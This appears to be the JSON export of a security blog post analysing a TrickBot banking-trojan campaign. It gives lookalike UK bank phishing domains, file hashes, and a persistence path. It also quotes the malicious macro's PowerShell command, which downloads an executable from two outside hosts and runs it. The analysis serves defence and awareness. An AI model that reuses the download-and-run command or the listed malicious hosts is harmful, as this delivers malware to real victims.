{"id":2345,"date":"2024-09-25T17:38:54","date_gmt":"2024-09-25T17:38:54","guid":{"rendered":"https:\/\/xdr-mdr.lmntrix.com\/main_web\/?p=2345"},"modified":"2025-07-29T03:35:53","modified_gmt":"2025-07-29T03:35:53","slug":"and-now-for-my-next-trick-highly-crafted-banking-email-hiding-trickbot-trojan","status":"publish","type":"post","link":"https:\/\/lmntrix.com\/blog\/and-now-for-my-next-trick-highly-crafted-banking-email-hiding-trickbot-trojan\/","title":{"rendered":"And now for my next trick\u2026 Highly crafted banking email hiding TrickBot trojan"},"content":{"rendered":"<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img fetchpriority=\"high\" decoding=\"async\" width=\"526\" height=\"350\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/hooded-1.webp\" alt=\"\" class=\"wp-image-2371\" style=\"width:656px;height:auto\"\/><\/figure>\n<\/div>\n\n\n<p>Although the TrickBot banking Trojan has been active from the fall of 2016, there has recently been a huge surge in its delivery.\u00a0<br><br>A particularly impressive feature of this most recent campaign is the author\u2019s \u00a0almost prefect imitation of bank URLs to deliver the payload.\u00a0<br><br>The trojan has always been propagated via the fairly common MalSpam method, and this time is no exception. Some of the sample templates used by the threat actors are below:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"476\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/t1-1024x476.webp\" alt=\"\" class=\"wp-image-2346\"\/><\/figure>\n\n\n\n<p>\u00a0<br>The phishing URLs used in the campaign are the result of meticulous work to closely match the bank\u2019s original URL. By crafting similar URLs, the attackers hope to maximise the malware\u2019s delivery. Following is a list which shows the phishing URL\u2019s used in the campaign:<br><br><strong>hsbcdocs.co.uk<br><br>hmrccommunication.co.uk<br><br>lloydsbacs.co.uk<br><br>nationwidesecure.co.uk<br><br>natwestdocuments6.ml<br><br>santanderdocs.co.uk<br><br>santandersecuremessage.com<br><br>securenatwest.co.uk<\/strong><br><br>Interestingly, all the domains are registered by godaddy.com using email authentication and HTTPS services as seen below:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" width=\"839\" height=\"415\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/t2.webp\" alt=\"\" class=\"wp-image-2347\"\/><\/figure>\n\n\n\n<p><br>From the registration date of the domains, it can be seen that these were only recently registered, explicitly for malicious purpose.<br><br>One of the \u00a0campaign\u2019s primary tools is a malicious DOC embedded with Macro code. \u00a0 \u00a0 \u00a0 \u00a0\u00a0<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"679\" height=\"410\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/t3.webp\" alt=\"\" class=\"wp-image-2348\"\/><\/figure>\n\n\n\n<p>Malicious DOC File name: SecureDoc.doc<br><br>MD5: d2e29e738f96c51b0a6d874532907114<br><br>The Macro code embedded into the doc invokes powershell to download the payload:<br><br><strong>&#8220;function selt([String] $tr){(New-Object System.Net.WebClient).DownloadFile($tr,&#8217;C:\\Users\\bob\\AppData\\Local\\Temp\\Cqgcf.exe&#8217;);StartProcess&#8217;C:\\Users\\bob\\AppData\\Local\\Temp\\Cqgcf.exe&#8217;;}try{selt(&#8216;http:\/\/centromiosalud.es\/armanistand.png&#8217;)}catch{selt(&#8216;http:\/\/cfigueras.com\/armanistand.png&#8217;)}\u201d<\/strong><br><br>A Network Query is performed by the document to download the payload:\u00a0<br><\/p>\n\n\n\n<p>How to turn today\u2019s teen rebels into tomorrow\u2019s cyber special forces<br><\/p>\n\n\n\n<p><strong>Downloaded Payload Details<\/strong><br><br>Filename: armanistand.png<br><br>Md5: 675119986b6df9441fbed1e6a8ae9da5<br><br>According to VirusTotal, the file has been flagged as malicious by multiple AV vendors.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"618\" height=\"549\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/t4.webp\" alt=\"\" class=\"wp-image-2349\"\/><\/figure>\n\n\n\n<p>\u00a0The payload is a Windows PE executable with high entropy on the PE header section:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"686\" height=\"89\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/t5.webp\" alt=\"\" class=\"wp-image-2366\"\/><\/figure>\n\n\n\n<p>Behavioral analysis of the executable shows us that the malware gains persistence with the below operation, and deploys a bot on the infected machine:<br><br>C:\\Documents and Settings\\\\Application Data\\winapp\\cc408142e00c605462104e004417b48b505006a124e5041422115c0333620577<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"673\" height=\"263\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/t6.webp\" alt=\"\" class=\"wp-image-2370\"\/><\/figure>\n\n\n\n<p>\u00a0<strong>Conclusion<\/strong><br><br>TrickBot\u2019s updated payload module acts as a bot on the infected host. According to multiple threat intelligence feeds, the TrickBot campaign has been delivered in huge numbers in only a short span of time. As its initial MalSpam delivery is highly crafted to resemble a legitimate email, many users have already fallen victim. Users should remain vigilant, particularly when receiving emails from their bank. Many banks today have a feature on their website where scams can be flagged so the bank can warn its customers not to open the malicious emails.\u00a0<br><br>Anyone who receives such an email is encouraged to flag it with the bank being imitated. \u00a0<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Although the TrickBot banking Trojan has been active from the fall of 2016, there has recently been a huge surge in its delivery.&nbsp; A particularly impressive feature of this most recent campaign is the author&rsquo;s &nbsp;almost prefect imitation of bank URLs to deliver the payload.&nbsp; The trojan has always been propagated via the fairly common [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":2371,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[21],"tags":[],"class_list":["post-2345","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-labs"],"_links":{"self":[{"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/posts\/2345","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/comments?post=2345"}],"version-history":[{"count":3,"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/posts\/2345\/revisions"}],"predecessor-version":[{"id":4247,"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/posts\/2345\/revisions\/4247"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/media\/2371"}],"wp:attachment":[{"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/media?parent=2345"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/categories?post=2345"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/tags?post=2345"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}